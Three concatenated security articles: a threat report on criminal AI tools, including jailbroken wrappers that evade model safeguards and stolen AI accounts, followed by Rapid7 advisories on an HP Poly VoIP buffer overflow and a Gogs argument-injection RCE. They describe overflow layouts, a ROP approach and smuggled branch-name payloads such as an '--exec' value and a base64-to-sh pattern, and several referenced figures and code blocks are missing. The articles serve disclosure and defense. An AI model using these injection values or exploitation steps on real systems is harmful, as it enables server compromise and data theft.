The underground market for criminally oriented generative AI has moved beyond the early hype surrounding 'malicious chatbots.' The gradual integration of AI as a productivity layer within cybercrime operations has become the dominant story, indicating that while the potential for fully autonomous AI hacking systems is possible, attackers are not embracing them as expected. Instead, threat actors are increasingly using AI to accelerate routine, but operationally significant, tasks to scale their operations. Drafting phishing lures, profiling targets, debugging code, generating forged documents, modifying malware, translating victim communications, and processing stolen data at scale were once time-consuming activities that AI has made significantly easier. AI does not replace cybercriminals; it lowers friction, increases speed, and expands the range of actors able to perform tasks that previously required more time, skill, or external support.
AI is being absorbed into criminal tradecraft, embedding itself in social engineering, fraud enablement, impersonation, identity abuse, and post-breach data exploitation. The market supporting this demand is not a single coherent product category, but a broader ecosystem of jailbreak wrappers, Telegram-based bots, prompt packs, open-weight model deployments, stolen AI accounts, and hijacked API keys. Their importance lies less in technical elegance than in usability. They provide criminals with accessible, repeatable, and commercially packaged ways to apply AI to operational problems.
This ecosystem should not be mistaken for a stable or fully mature criminal market. Compared with more established sectors, criminal AI remains volatile, uneven, and heavily exposed to hype. Some services offer genuine operational utility while others are little more than repackaged public models marketed at inflated prices. Many are short-lived, deceptive, or opportunistic rebrands.
Even so, the demand is real. The core shift is not the arrival of a single dominant criminal model, but the commercialization of access to AI-enabled criminal capability. The strategic significance of criminal AI lies in compressing time, lowering skill barriers, improving communication quality, and scaling existing criminal workflows.
Criminal AI-as-a-Service
The defining features of this market have little to do with any technical novelty, but rather the packaging and monetization of access. By early 2026, many underground services were marketed through familiar commercial mechanisms like subscriptions, private support channels, Telegram-based delivery, gated communities, and promises of uncensored output, privacy, or reduced logging. These are clear signs of SaaS-style commercialization, albeit far less mature or stable than its legitimate counterparts.
The market should be best understood as “Criminal AI-as-a-Service.” Most offerings do not appear to rely on original foundational models built by threat actors. Instead, they typically depend on jailbreaks, wrappers around commercial services, fine-tuned open-weight models, repackaged interfaces, or modular combinations of existing capabilities.
Pricing patterns suggest growing commercialization, but not a stable market structure. Entry-level access may be inexpensive, while premium services can be marketed at significantly higher rates with promises of priority support or additional functionality. These prices should be treated as indicative, not definitive (Figures 1 and 2). They are highly volatile and shaped by takedowns, fraud, rebranding, and shifting demand.
At the lower end, free tools and stolen access to legitimate AI services often remain the default. In the middle of the market, recurring subscriptions are increasingly common. At the upper end, some services claim to use more modular or self-hosted architectures to reduce dependence on mainstream platforms. Together, these patterns point to a market that is becoming more operationalized, even if it remains unstable and hype-driven.
Figure 1: Xanthorox’s pricing
⠀
Figure 2: WormGPT's pricing
Main criminal AI tool families
The criminal AI ecosystem is defined by several distinct tool families that reflect how threat actors adopt, package, and market generative AI for illicit use. Some platforms function as fraud-enabling assistants, others as uncensored Telegram-native chatbots, modular offensive frameworks, or low-barrier tools aimed at novice users. Examining these categories is more useful than focusing solely on individual brand names, as it reveals the market’s underlying operational logic. That logic is based on how these tools are distributed, which users they target, and which stages of the criminal workflow they are designed to support.
Overall, the market is increasingly splitting into two complementary directions. At one end are low-cost, mass-market tools that help less experienced actors produce phishing content, scam scripts, malware prompts, forged material, and social engineering narratives at scale. At the other end are more specialized platforms that integrate AI into execution workflows, supporting targeting, automation, and operational optimization for fewer but more precise attacks. This volume-versus-precision dynamic shows that criminal AI is no longer only about accelerating malicious content generation; it is also becoming a way to make illicit operations more scalable, quieter, and strategically targeted.
FraudGPT
This tool family represents the distribution model for criminal AI by fraud shops. Emerging in mid-2023 for a few hundred dollars per month, its longevity on the black market stems from its positioning as an "all-in-one" operational assistant rather than a simple programming tool. Most buyers are not using it to engineer highly complex malware; instead, they treat it as a productivity engine to orchestrate the entire fraud chain.
Threat actors use it to systematically design lookalike phishing pages, scrape target data, draft convincing spear-phishing lures, and generate scam scripts. Even as the underlying architecture has evolved away from standalone models and toward basic wrappers around legitimate, jailbroken corporate APIs, FraudGPT remains a staple of the underground economy because it effectively democratizes advanced social engineering, allowing entry-level scammers to execute highly localized, grammatically flawless, and high-volume fraud operations (Figure 3).
Figure 3: FraudGPT’s website
⠀
GhostGPT
This tool family reflects the Telegram-native distribution model. Its reported selling points — uncensored output, ease of access, and reduced operational friction — illustrate the convenience and perceived safety many criminal buyers claim to value most. However, like many tools in this category, independent verification of its capabilities is limited, and its significance lies more in what it signals about buyer preferences than in any confirmed technical differentiation.
WormGPT
This tool family serves as the ultimate case study in the power and persistence of criminal branding. While the original, headline-grabbing tool was officially shut down by its creator in August 2023 following intense law enforcement and media exposure, the name has essentially become a generic dark-web trademark for unrestricted AI. The market is saturated with opportunistic copycats, such as "WormGPT v4" and various Telegram bots trading on the name.
Threat intelligence analysis of these modern variants reveals that they share zero code with the original system; instead, they are highly volatile marketing shells, often basic API wrappers around commercial models like Grok or Mixtral that use specialized system prompts to bypass safety guardrails. WormGPT's relevance in 2026 lies not in its technical uniqueness but in its sociological impact. It is an entry-level gateway tool used by script kiddies and sophisticated actors alike to quickly generate functional exploit scripts, craft persuasive business email compromise (BEC) lures, and scale offensive workflows (Figure 4).
Figure 4: WormGPT‘s website
⠀
KawaiiGPT
This is a freely accessible or low-cost criminally oriented AI chatbot/tool marketed in underground spaces to generate or support illicit content and cybercrime-related tasks. Its use highlights the problem of low-barrier access in the criminal LLM market. Its relevance does not lie in any demonstrated advanced capability and there is little evidence that it provides meaningful technical sophistication beyond basic generative AI functions. Rather, KawaiiGPT is important as an example of how free or near-free tools can normalize AI-assisted offending among less experienced users. Its significance is therefore sociological rather than technical as it lowers the threshold for participation, makes AI-assisted offending appear accessible and low-risk, and introduces novice actors to workflows such as phishing text generation, fraud scripting, impersonation, and other forms of low-level cybercrime support.
BruteForceAI
This tool family represents a meaningfully different category from the chatbot-style tools that dominate criminal AI branding. BruteForceAI prioritizes precision over content generation. It integrates large language models for intelligent form analysis and sophisticated multi-threaded attack execution. This distinction matters. The broader trend it reflects is one of attackers making fewer, better-targeted attempts rather than relying on brute volume. AI here is not a content tool. It is an execution layer, and the shift from noisy credential stuffing to quiet, optimized targeting is strategically more significant than any individual tool name (Figure 5).
Figure 5: BruteforceAI program
⠀
Xanthorox
This AI represents the modular criminal AI platform. Its significance lies in how it is marketed. Public reporting describes it as more than another “evil chatbot,” with claims around coding support, multiple model components, and broader operational utility. Still, Xanthorox should be framed cautiously. It is better treated as an emerging or ambitiously marketed platform than as a universally verified flagship of the underground market (Figure 6).
Figure 6: Xanthorox’s website
⠀
The wide variety of smaller adversarial AI tools in 2026, including names like DarkGPT, EscapeGPT, WolfGPT, Evil-GPT, XXXGPT, and BadGPT, should be viewed with caution. These brands do not constitute a coherent or reliable category; instead, they often function as short-lived rebrandings or simple interfaces built on public or open-source models. In many cases, these are "scam-of-the-month" services hosted on Telegram, designed to capitalize on hype, with entry-level memberships starting at a few dozen dollars. However, they should not be dismissed outright, as some do offer genuine un-censorship or serve as testing grounds for malicious exploits. The bottom line in 2026 is that the brand name matters less than the underlying architecture. Most "GPT" labels are disposable marketing shells used to evade takedown measures or rebuild credibility after a service failure.
What truly defines the threat is the infrastructure supporting them. While entry-level tiers cost very little, professional-grade systems can cost thousands of dollars. At this level, the value isn't in the name, but in the technical setup.: These include the specific model used, how the service is delivered, the reliability of the operator, and how well it connects with other criminal tools like phishing kits, stealers, and ransomware support. Ultimately, the market has shifted toward operationalizing AI, focusing on tools that can automate and maximize the efficiency of entire illicit workflows.
Stolen AI accounts as an overlooked criminal market
One of the most important and still underappreciated developments in this landscape is the resale and abuse of legitimate AI access. This pattern is not new. Every widely adopted and commercially valuable technology eventually generates a secondary criminal market around stolen credentials, compromised accounts, and unauthorized access. AI is now following the same trajectory. Threat actors do not rely only on underground “dark AI” tools. They also misuse mainstream AI platforms directly.
However, the abuse of stolen AI accounts and hijacked API keys may be more consequential than many earlier credential markets. Access to legitimate AI services can provide threat actors with scalable cognitive and operational capabilities, not just access to a single platform or dataset. A compromised AI account may enable faster reconnaissance, multilingual targeting, automated content production, code generation, malware troubleshooting, and the refinement of phishing or fraud workflows. Hijacked API keys may also allow actors to consume compute resources at the victim’s expense, bypass usage restrictions tied to their own identities, and access more capable models or enterprise-grade infrastructure. In this sense, stolen AI access is not merely another credential commodity. It can function as an operational force multiplier across multiple stages of the attack lifecycle, making its abuse both expected and potentially more impactful than many traditional forms of account compromise (Figures 7 and 8).
Figure 7: Stolen AI accounts for sale on a cybercrime forum
⠀
Figure 8: More stolen AI accounts for sale on a cybercrime forum
⠀
The impact on organizations can be serious as AI accounts may contain proprietary information such as prompts, uploaded files, source code, legal drafts, customer data, internal summaries, product plans, meeting notes, investigative material, or strategic analysis. If compromised, the exposure extends beyond the credential itself. Enterprise AI accounts and AI-related access tokens should therefore be treated like cloud credentials, developer secrets, email accounts, or administrative SaaS access.
Deepfake services: From impersonation to KYC bypass
Deepfake services have become one of the criminal AI market’s most important adjacent segments, particularly in fraud, synthetic identity creation, onboarding abuse, and KYC bypass. These services are marketed not as experimental technologies, but as practical fraud enablers. Common offerings include face swaps, voice cloning, fake selfie generation, synthetic profiles, document manipulation, virtual camera injection, video-call impersonation, and full onboarding bypass packages (Figure 9). Their significance stems from the fact that many digital platforms continue to rely heavily on remote identity verification and visual trust cues.
The purpose of bypassing KYC controls is to create, validate, or access accounts that should not exist or should not be available to the offender. Once established, such accounts can support money laundering, mule activity, romance scams, investment fraud, payment abuse, sanctions evasion, account resale, and marketplace manipulation. The threat is no longer limited to static fake images. Attackers can combine face swaps, synthetic video, animated media, and virtual camera injection to impersonate real individuals during onboarding or verification.
Deepfake services also strengthen broader fraud operations. Romance scams, fake recruitment schemes, executive impersonation, vendor fraud, and investment scams all become more persuasive when synthetic voice or video is added to the deception chain. These services should therefore be understood as part of the same criminal AI capability stack. LLMs generate scripts, refine pretexts, localize language, and support interaction at scale. Stolen data enhances personalization. Deepfake tools add the visual and audio layer that increases trust and makes deception harder to detect. Together, these capabilities form a more complete deception architecture.
Figure 9: Cybercrime forum's advertisement for a Deepfake KYC bypass service website
Organizational impact and defensive priorities
For organizations, the impact of AI-enabled cybercrime is both economic and operational. The main concern is not the sudden arrival of fully autonomous AI hacking, but the steady increase in attacker productivity, deception quality, operational flexibility, and post-compromise efficiency.
This last concern is important to note. Once attackers obtain data, AI can help them review it more quickly and more systematically. Models can summarize large document sets, identify sensitive or monetizable material, extract victim-specific details, and support tailored extortion or fraud. This does not require a purpose-built criminal model. It requires access to a capable model, relevant data, and a clear criminal objective.
At the same time, enterprise AI environments are becoming part of the attack surface. AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows can all expose sensitive business information if they are compromised, misused, or poorly governed. These assets should therefore be managed with the same seriousness as other critical systems, including clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews.
Organizations should respond by treating criminal AI as a challenge of trust, identity, workflow security, and data governance, rather than only as a malware issue. High-risk business processes should be reinforced with stronger approval controls, transaction verification, segregation of duties, and out-of-band confirmation, especially for financial transfers, access changes, sensitive data requests, and executive communications.
Phishing and fraud defenses must also adapt. Poor grammar and obvious language errors are no longer reliable indicators of malicious activity. Organizations should assume that many adversaries can now generate polished, localized, and credible communications at scale. Detection should therefore rely more heavily on behavioral indicators, sender validation, process anomalies, identity verification, and transaction integrity than on superficial language cues.
At the same time, organizations should prepare for AI-assisted post-breach exploitation by improving data minimization, segmentation, access controls, monitoring, logging, and incident response planning. They should also monitor the broader underground capability stack, including jailbreak services, stolen AI accounts, and synthetic media tooling, because these increasingly shape attacker tradecraft in practice.
The market will likely see more bundling of text generation, translation, impersonation, data analysis, and synthetic media into a single criminal offering. It will also likely see continued abuse of legitimate AI platforms alongside wrapper-based underground services. The ecosystem will likely remain uneven, opportunistic, and hype-heavy, while becoming strategically important because it makes cybercrime easier to execute, scale, and detectFor organizations, the main risk is not only higher financial loss, but also the growing operational strain created by AI-assisted attacks that are faster, more scalable, and harder to triage.
Enterprise AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows should be managed as critical assets, with clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews. Sensitive data should be exposed to AI systems only when there is a clear business need, especially when AI tools connect to email, cloud storage, code repositories, customer databases, financial systems, or external services. High-risk AI connectors and workflows should be inventoried, risk-ranked, and monitored for abnormal access, bulk data movement, privilege escalation, or unauthorized agent actions.
As phishing tactics become better, core controls should include MFA, phishing-resistant authentication, conditional access, DLP, EDR/XDR, API security monitoring, secrets scanning, prompt and output filtering, and model-access controls. Incident response plans should also cover stolen AI accounts, exposed prompts, compromised API keys, leaked embeddings, abused connectors, and sensitive data retained in AI workspaces.
The organizations best positioned for the next phase will be those that integrate AI risk into existing security governance rather than treating it as a separate technical issue. As criminal use of AI becomes part of everyday attacker tradecraft, resilience will depend on the ability to verify identity, control access, protect data flows, monitor AI-enabled workflows, and maintain human oversight over high-impact decisions. The future defensive priority is therefore not to predict every AI-enabled attack, but to build security architectures that remain reliable when attackers become faster, more persuasive, and more efficient.
One of the more persistent myths in security is that old bug classes become old problems. They don’t. They just show up in different places, under different conditions, and usually at the exact moment we’ve convinced ourselves not to pay attention to them.
That’s part of what makes enterprise voice infrastructure so interesting.
Earlier this year, we wrote about a critical vulnerability in Grandstream VoIP phones that showed how easily a trusted communications device could become something very different. It wasn't especially flashy, but it reinforced the broader issue that phones are still part of the attack surface, even if many organizations don’t model them that way.
Today, we'll again discuss the same uncomfortable reality. VoIP technology may sit quietly on a desk and look like a utility, but the security implications are anything but quiet. And when familiar vulnerability classes continue to surface in devices designed to sit at the center of sensitive conversations, it’s worth asking whether we’ve been underestimating this part of the environment for far too long.
Rapid7 Senior Principal Security Researcher Stephen Fewer discovered CVE-2026-0826, a critical unauthenticated stack-based buffer overflow vulnerability affecting multiple HP Poly VoIP devices. If you’ve been around vulnerability research long enough, the bug class here is going to feel very familiar. And interestingly enough, that’s exactly why it deserves attention. These older exploitation primitives never really went away; they just found new places to cause problems.
CVE-2026-0826
CVE-2026-0826 is a critical unauthenticated vulnerability affecting multiple HP Poly VoIP devices, including models in the VVX and Trio product lines. At a high level, this is a classic memory corruption bug. If the right conditions are present, a remote attacker can exploit the vulnerability to gain control of an affected device without authentication.
For most organizations, the technical root cause will matter to the teams responsible for remediation, validation, and long-term hardening. But from a risk perspective, the takeaway is much simpler in that a trusted business phone can potentially be turned into an attacker-controlled asset.
That matters because these devices often live in places we inherently trust such as executive offices, conference rooms, help desks, trading floors, hospital stations, and other environments where sensitive conversations happen every day. A compromise in that context is not just about device access. It’s about what that access enables.
Why this is still exploitable in 2026
One of the questions I get all the time when I teach SANS SEC660 is whether basic buffer overflows are still relevant. Students will usually ask some version of, “Are we really still dealing with this?” and right behind that, the follow-up of “Don’t modern mitigations make these bugs much harder to exploit?”
They're fair questions. The reality is that modern mitigations absolutely matter, and in many cases they do make exploitation more difficult. But they don’t make memory corruption go away. What they really do is change the path from bug to impact. So when we looked at this issue, the obvious question wasn’t just whether a stack overflow existed, but whether the protections in place actually prevented it from becoming meaningful code execution.
In this case, they didn’t.
This is one of those cases where the presence of modern mitigations looks better on paper than it does in practice. The protections that should have made exploitation significantly harder ultimately didn’t stop an attacker from turning the bug into full code execution on the device.
So yes, the bug class is old-school. But the exploitation path is still very real.
Why attackers care about desk phones now
Now, on its own, “root shell on a phone” sounds bad, but maybe not headline-worthy to some people. The real story is what that access gives an attacker in practice.
Over the past several years, advanced threat actors have increasingly shifted toward edge devices, embedded systems, and network appliances as a place to operate. And let’s face it, that makes sense. If you’re trying to persist quietly in an enterprise environment, you don’t necessarily want to live on the Windows system with every security product on earth installed on it.
You want the thing nobody is watching.
You generally can’t run modern EDR on a VoIP desk phone. You’re not going to see the same telemetry. You’re not going to get the same host-based detection coverage. And in many environments, those devices sit on the network for years with very little scrutiny beyond whether they can still make and receive calls.
That makes them useful not only as footholds, but also as infrastructure for internal pivoting, call manipulation, traffic interception, or quiet persistence.
And that’s before we even get to the part that I think is especially relevant right now in the age of AI. I'm referring to audio collection.
A listening post for the AI era
One of the more interesting shifts in today’s threat landscape is how valuable high-quality voice data has become.
Attackers no longer need massive datasets to make use of synthetic speech tooling. In many cases, they just need clean source audio of the right person saying enough words in enough contexts. That has made executive voice data, call recordings, and live conversation capture far more valuable than many organizations seem prepared to admit.
A compromised desk phone sitting in an executive office or conference room is not just a way to eavesdrop on sensitive discussions. It can also become a collection point for exactly the kind of audio that can be reused in vishing, deep fakes, social engineering, or even fraudulent financial authorization attempts.
The concern is not just “someone might hear something confidential.” That would be bad enough. The broader concern is that voice infrastructure can now support both traditional espionage objectives and modern AI-enabled fraud operations at the same time.
The bigger lesson
I think the real takeaway from this research is not merely that another VoIP phone had a memory corruption bug. As security researchers, we know those bugs are always out there somewhere. The more important lesson is that many organizations still don’t threat model voice systems with the same seriousness they apply to other enterprise assets.
It’s also part of a broader pattern I’ve been talking about in The Monday Brief that attackers don’t need especially novel tradecraft when defenders continue to overlook familiar weaknesses in trusted systems.
We’ve gotten pretty good at thinking critically about identity systems, servers, cloud infrastructure, and endpoints. But desk phones often fall into this weird blind spot where they’re treated as appliances rather than computers with microphones, network connectivity, and administrative logic.
That mindset needs to change.
Because when a classic stack-based overflow can be leveraged into root access on a trusted office device sitting a few feet away from your leadership team, it’s no longer reasonable to think of that phone as “just a phone.”
It’s part of your attack surface. It’s part of your exposure. And depending on where it sits, it may also be one of the more efficient listening posts in your environment.
Rapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device.
The vulnerability is present in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker.
While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP Conference series (Trio 8800, Trio 8500, and Trio 8300).
A Metasploit exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.
Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version 6.4.7.4477.
As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.
Technical analysis
Our analysis is based upon a VVX 450 device running firmware version 6.4.7.4477. During testing, the test device had an IPv4 address of 192.168.86.80. The non-default ICE feature was enabled by specifying the following in the device configuration:
device.feature.nat.ice.enabled="1"
The main binary that provides the majority of functionality to the device is /user/local/root/polyapp (32 bit ARM, Little Endian). This binary parses SDP data provided in an Session Initiation Protocol (SIP) request over UDP on port 5060.
When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the RFC8839 5.1:
The following is an example SDP line for a UDP server-reflexive "candidate" attribute for the RTP component:
The /user/local/root/polyapp binary has two functions that will parse incoming SDP data, named ParseRemoteSDP and IceSession::ParseRemoteSdpForAddresses. In both cases, when a string line starting with “a=candidate:” is found, a helper function ParseICECandidate (at address 0xB12780) is called to parse the expected candidate attribute held in the remainder of that string line. The intent is to parse out the individual components of a candidate attribute which are separated by white space characters.
This helper function ParseICECandidate contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to memcpy, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.
To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious candidate attribute will be comprised of:
An attribute name of “a=candidate:”, which is 12 bytes long.
244 A characters, to fill out variable buffer256 (shown in the code snippet above), as 244 + 12 is 256.
19 B characters, to provide padding between the variable buffer256 and the saved registers on the current stack frame.
The characters 1111 (0x31313131 in hex) to overwrite the saved r4 register.
The characters 2222 (0x32323232 in hex) to overwrite the saved r5 register.
The characters 3333 (0x33333333 in hex) to overwrite the saved r11 register.
The characters 4444 (0x34343434 in hex) to overwrite the saved pc register.
A large number of C characters (0x43 in hex) to show the remaining attacker controlled data on the stack.
The entire example SIP INVITE request sent to the device is shown below:
Upon receiving this SIP INVITE request, the helper function ParseICECandidate will parse the malicious candidate attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (pc) register, several general purpose registers, and the data located at the stack pointer (sp).
Figure 2: Inspecting a core dump showing the effects of the overflow.
# uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown
# cat /proc/sys/kernel/randomize_va_space
1
⠀
Inspecting the polyapp binary with the checksec tool we can see that No Execute (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a Return Oriented Programming (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a Position Independent Executable (PIE).
As the polyapp binary is always loaded at a low address (0x00008000), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (0x00) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed.
We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.
Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, libc will always be loaded at a Virtual Address (VA) of 0x40a5c000 on firmware version 6.4.7.4477. This does not change between process restarts or device cold reboots. Shown below is the same load address for libc in the polyapp process, across a cold reboot of the device.
Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of 0x40000000 and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the libc library. The gadgets we choose will not contain null bytes in their addresses.
We create a ROP chain that will execute an arbitrary OS command via the system standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.
Remediation
The following remediation guidance has been provided by the vendor.
“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”
The following table indicates the appropriate fixed software releases.
Product Name
Updated version
VVX
UCS 6.4.8
Trio 8300
UCS 8.1.7
Trio 8500
UCS 7.2.8
Trio 8800
UCS 7.2.8
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Rapid7 Customers
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0826 with a vulnerability check available in the June 2 content release.
Disclosure timeline
January 6, 2026: Rapid7 makes initial outreach to HP who confirm contact the same day.
January 7, 2026: Rapid7 discloses the technical writeup and exploit code to HP.
January 9, 2026: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.
January 12, 2026: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.
April; 21, 2026: HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.
May 5, 2026: HP provides affected models and confirms coordinate disclosure for June 1.
May 18, 2026: HP provides remediation version numbers for patched firmware.
June 1, 2026: This disclosure.
June 2, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check, added link to vendor advisory.
Rapid7 Labs discovered a critical argument injection (CWE-88) vulnerability in Gogs, a popular open-source self-hosted Git service, tracked as CVE-2026-52806. Rapid7 Labs scores this vulnerability as CVSSv4 9.4 (Critical). The vulnerability allows any authenticated user to achieve remote code execution (RCE) on the server by creating a pull request with a malicious branch name that injects the --exec flag into git rebase during the "Rebase before merging" merge operation. A fix is available in Gogs 0.14.3, released June 7, 2026.
The exploit requires no admin privileges and no interaction with other users; an attacker operates entirely within their own account. Since Gogs ships with open registration enabled by default (DISABLE_REGISTRATION = false) and no limit on repository creation (MAX_CREATION_LIMIT = -1), an unauthenticated attacker can simply create an account and repository on any default-configured instance. Any registered user who creates a repo is automatically its owner. From there, enabling rebase merging is a single toggle in settings, and the entire exploit chain can be operated without interaction from any other user.
Alternatively, any user with write access to a repository where rebase is already enabled can exploit it directly. On instances where repository creation is restricted, an attacker still only needs write access to any repository that has (or can have) rebase merging enabled.
The result is arbitrary command execution as the Gogs server process user, giving the attacker the ability to compromise the server, read every repository on the instance (including other users' private repos), dump credentials (password hashes, API tokens, SSH keys, 2FA secrets), pivot to other network-accessible systems, and modify any hosted repository's code.
The latest release versions at the time of research, Gogs 0.14.2 and 0.15.0+dev (commit b53d3162), were confirmed to be affected. All prior versions supporting the "Rebase before merging" style are likely vulnerable as well.
Update #1: On June 7, 2026, the Gogs maintainer accepted Rapid7's patch and released version 0.14.3, which fixes this vulnerability. The vulnerability has been assigned CVE-2026-52806.
Product description
Gogs is a lightweight, self-hosted Git service written in Go. With ~50,000 GitHub stars and over 5,000 forks, it's one of the more popular self-hosted alternatives to GitHub, commonly deployed by companies, universities, and open-source projects.
A Shodan search for http.title:"Gogs" http.title:"Sign In" returns 1,141 internet-facing instances at the time of publication. The real install base is much larger since most deployments sit behind VPNs or internal networks.
Credit
This vulnerability was discovered by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Impact
Any Gogs instance with more than one user account is effectively "multi-tenant", meaning each user has their own repositories, credentials, and data on a shared server. This is the default for organizations, universities, and teams that use Gogs as a shared Git hosting platform. On any such instance, this vulnerability gives a single authenticated user full control of the underlying server. The attacker operates entirely within their own repository; no access to other users' repos is needed.
The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). On binary installations, the process user depends on how the administrator deployed the service (commonly git or a dedicated service account).
The practical impact:
Server compromise: Arbitrary command execution as the Gogs process user (typically git)
Cross-tenant data breach: Read every repository on the instance, including other users' private repos
Credential theft: Dump the database containing password hashes, API tokens, SSH keys, and 2FA secrets for all users
Lateral movement: Pivot to other systems reachable from the server's network
Supply chain attacks: Modify any hosted repository's code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory, with no OS-level isolation between repositories. Direct filesystem manipulation bypasses Gogs' audit logging, and without commit signing (uncommon on self-hosted instances), forged commits are difficult to detect.
The exploit is fully automatable (a Metasploit module is provided) and runs in seconds. When the attacker creates and deletes their own repository, the only trace is an HTTP 500 in the server logs. When exploiting an existing repository, additional artifacts remain (see heading Indicators of compromise).
Technical analysis
The testing target was a Gogs 0.14.2 installation running via Docker on Linux (Ubuntu 24.04). The vulnerability was also confirmed on Gogs 0.15.0+dev (commit b53d3162). As noted above, the vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods.
Background: Merge vs. rebase in Gogs
A standard merge creates a merge commit joining two branch histories. A rebase before merge replays the head branch's commits on top of the base branch to produce a linear history. Under the hood, Gogs runs git rebase <base_branch> <head_branch> in a temp directory before pushing the result.
Critically, git rebase accepts an --exec flag that tells Git to run a shell command (via sh -c) after replaying each commit. Argument injection into --exec has been a recurringsource of RCE vulnerabilities in Git-based applications. This is the exploitation primitive.
Gogs exposes 'Rebase before merging' as a per-repo setting (PullsAllowRebase). It is not enabled by default, but any repo owner or admin can enable it under Settings > Advanced. By default, any user who creates a repo is automatically its owner, so the barrier to exploitation is low. Administrators can restrict repo creation globally (MAX_CREATION_LIMIT = 0 in app.ini) or per-user (via Max Repo Creation in the admin panel), but this does not prevent exploitation by users with write access to existing repositories.
Root cause
The Merge() function in internal/database/pull.go passes the PR's base branch name directly to git rebase without a -- separator (a POSIX convention that signals the end of options, preventing subsequent arguments from being interpreted as flags):
pr.BaseBranch comes from the URL parameter in internal/route/repo/pull.go:
baseRef := infos[0] // from strings.Split(c.Params("*"), "...")
⠀
Both baseRef and headRef are validated via RevParse before the PR is created. RevParse is defined in the external git-module library and works by calling git rev-parse --verify <ref>, which only checks whether the ref resolves to a valid Git object. It does not sanitize against argument injection, and it does not need to since git rev-parse --verify treats --exec=... as a ref name and fails if it doesn't resolve. However, the attacker pushes the malicious branch name (e.g. --exec=<payload>) to the repo first, so RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the rebase command.
Crafting the payload
Git branch names can legally contain $, {, }, =, and -. An attacker creates a branch named:
--exec=touch${IFS}/tmp/rce_proof
⠀
When this is used as pr.BaseBranch, the rebase command becomes:
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
⠀
Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag, not a branch name. --exec runs the value via sh -c after each replayed commit, and ${IFS} expands to a space in the shell, bypassing Git's prohibition on spaces in branch names.
For commands containing characters forbidden in Git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the payload is base64-encoded:
The vulnerability affects Windows installations as well, but the payload delivery method differs. On Linux, the payload can be base64-encoded inline in the branch name (e.g. --exec=echo${IFS}<b64>|base64${IFS}-d|sh). On Windows, this fails because NTFS forbids the | (pipe) character in filenames, and Git stores branch refs as files at refs/heads/<branch_name>.
